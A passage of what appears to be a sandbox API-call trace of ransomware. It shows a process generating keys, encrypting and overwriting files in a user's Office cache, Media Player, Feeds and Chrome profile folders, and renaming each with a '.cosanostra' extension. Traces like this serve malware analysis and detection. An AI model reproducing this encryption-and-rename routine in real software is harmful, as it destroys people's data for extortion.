pbBuffer=0x2abed88) returned 1 [0104.361] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed80*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed80*=0x30) returned 1 [0104.361] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.362] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF") returned 98 [0104.362] StrStrW (lpFirst="FSF-CTBL.FSF", lpSrch=".txt") returned 0x0 [0104.363] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.363] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x2abed44, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed44*=0x72, lpOverlapped=0x0) returned 1 [0104.363] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.363] WriteFile (in: hFile=0x180, lpBuffer=0x2abed84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed44, lpOverlapped=0x0 | out: lpBuffer=0x2abed84*, lpNumberOfBytesWritten=0x2abed44*=0x4, lpOverlapped=0x0) returned 1 [0104.363] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed44, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed44*=0x30, lpOverlapped=0x0) returned 1 [0104.363] CloseHandle (hObject=0x180) returned 1 [0104.363] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF.cosanostra") returned 109 [0104.363] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf.cosanostra")) returned 1 [0104.364] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed80 | out: pbBuffer=0x2abed80) returned 1 [0104.364] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed78*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed78*=0x30) returned 1 [0104.364] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.365] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 132 [0104.365] StrStrW (lpFirst="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpSrch=".txt") returned 0x0 [0104.367] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.367] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed3c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed3c*=0x2800, lpOverlapped=0x0) returned 1 [0104.367] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.367] WriteFile (in: hFile=0x180, lpBuffer=0x2abed7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed3c, lpOverlapped=0x0 | out: lpBuffer=0x2abed7c*, lpNumberOfBytesWritten=0x2abed3c*=0x4, lpOverlapped=0x0) returned 1 [0104.367] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed3c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed3c*=0x30, lpOverlapped=0x0) returned 1 [0104.367] CloseHandle (hObject=0x180) returned 1 [0104.368] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD.cosanostra") returned 143 [0104.368] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd.cosanostra")) returned 1 [0104.369] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed80 | out: pbBuffer=0x2abed80) returned 1 [0104.369] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed78*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed78*=0x30) returned 1 [0104.369] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.378] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 98 [0104.378] StrStrW (lpFirst="FSD-CNRY.FSD", lpSrch=".txt") returned 0x0 [0104.759] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.759] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed3c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abed3c*=0x2800, lpOverlapped=0x0) returned 1 [0104.759] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.759] WriteFile (in: hFile=0x15c, lpBuffer=0x2abed7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed3c, lpOverlapped=0x0 | out: lpBuffer=0x2abed7c*, lpNumberOfBytesWritten=0x2abed3c*=0x4, lpOverlapped=0x0) returned 1 [0104.762] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed3c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed3c*=0x30, lpOverlapped=0x0) returned 1 [0104.762] CloseHandle (hObject=0x15c) returned 1 [0104.762] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD.cosanostra") returned 109 [0104.762] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd.cosanostra")) returned 1 [0104.763] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed78 | out: pbBuffer=0x2abed78) returned 1 [0104.763] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed70*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed70*=0x30) returned 1 [0104.763] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.764] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 135 [0104.764] StrStrW (lpFirst="08_Video_rated_at_4_or_5_stars.wpl", lpSrch=".txt") returned 0x0 [0104.785] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffc04, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.785] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x2abed34, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abed34*=0x3fc, lpOverlapped=0x0) returned 1 [0104.785] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.786] WriteFile (in: hFile=0x15c, lpBuffer=0x2abed74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed34, lpOverlapped=0x0 | out: lpBuffer=0x2abed74*, lpNumberOfBytesWritten=0x2abed34*=0x4, lpOverlapped=0x0) returned 1 [0104.786] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed34, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed34*=0x30, lpOverlapped=0x0) returned 1 [0104.786] CloseHandle (hObject=0x15c) returned 1 [0104.786] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl.cosanostra") returned 146 [0104.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl.cosanostra")) returned 1 [0104.860] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed78 | out: pbBuffer=0x2abed78) returned 1 [0104.860] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed70*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed70*=0x30) returned 1 [0104.860] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.864] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 140 [0104.864] StrStrW (lpFirst="05_Pictures_taken_in_the_last_month.wpl", lpSrch=".txt") returned 0x0 [0104.874] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffce3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.874] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x31d, lpNumberOfBytesWritten=0x2abed34, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed34*=0x31d, lpOverlapped=0x0) returned 1 [0104.874] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.875] WriteFile (in: hFile=0x15c, lpBuffer=0x2abed74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed34, lpOverlapped=0x0 | out: lpBuffer=0x2abed74*, lpNumberOfBytesWritten=0x2abed34*=0x4, lpOverlapped=0x0) returned 1 [0104.875] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed34, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed34*=0x30, lpOverlapped=0x0) returned 1 [0104.875] CloseHandle (hObject=0x15c) returned 1 [0104.877] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl.cosanostra") returned 151 [0104.877] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl.cosanostra")) returned 1 [0104.896] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed70 | out: pbBuffer=0x2abed70) returned 1 [0104.896] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed68*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed68*=0x30) returned 1 [0104.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.896] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 107 [0104.896] StrStrW (lpFirst="Microsoft at Home~.feed-ms", lpSrch=".txt") returned 0x0 [0104.919] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.919] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed2c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abed2c*=0x2800, lpOverlapped=0x0) returned 1 [0104.919] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.919] WriteFile (in: hFile=0x138, lpBuffer=0x2abed6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed2c, lpOverlapped=0x0 | out: lpBuffer=0x2abed6c*, lpNumberOfBytesWritten=0x2abed2c*=0x4, lpOverlapped=0x0) returned 1 [0104.919] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed2c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed2c*=0x30, lpOverlapped=0x0) returned 1 [0104.919] CloseHandle (hObject=0x138) returned 1 [0104.920] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.cosanostra") returned 118 [0104.920] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.cosanostra")) returned 1 [0104.921] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed70 | out: pbBuffer=0x2abed70) returned 1 [0104.921] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed68*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed68*=0x30) returned 1 [0104.921] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.921] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 106 [0104.921] StrStrW (lpFirst="Origin Bound Certs-journal", lpSrch=".txt") returned 0x0 [0104.921] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.921] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abed2c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abed2c*=0x0, lpOverlapped=0x0) returned 1 [0104.922] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.922] WriteFile (in: hFile=0x138, lpBuffer=0x2abed6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed2c, lpOverlapped=0x0 | out: lpBuffer=0x2abed6c*, lpNumberOfBytesWritten=0x2abed2c*=0x4, lpOverlapped=0x0) returned 1 [0104.935] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed2c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed2c*=0x30, lpOverlapped=0x0) returned 1 [0104.955] CloseHandle (hObject=0x138) returned 1 [0104.956] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal.cosanostra") returned 117 [0104.956] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal.cosanostra")) returned 1 [0104.957] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed68 | out: pbBuffer=0x2abed68) returned 1 [0104.957] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed60*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed60*=0x30) returned 1 [0104.957] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.958] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 166 [0104.958] StrStrW (lpFirst="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal", lpSrch=".txt") returned 0x0 [0104.958] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.958] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abed24, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed24*=0x0, lpOverlapped=0x0) returned 1 [0104.958] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.958] WriteFile (in: hFile=0x138, lpBuffer=0x2abed64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed24, lpOverlapped=0x0 | out: lpBuffer=0x2abed64*, lpNumberOfBytesWritten=0x2abed24*=0x4, lpOverlapped=0x0) returned 1 [0104.959] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed24, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed24*=0x30, lpOverlapped=0x0) returned 1 [0104.959] CloseHandle (hObject=0x138) returned 1 [0104.959] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal.cosanostra") returned 177 [0104.959] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 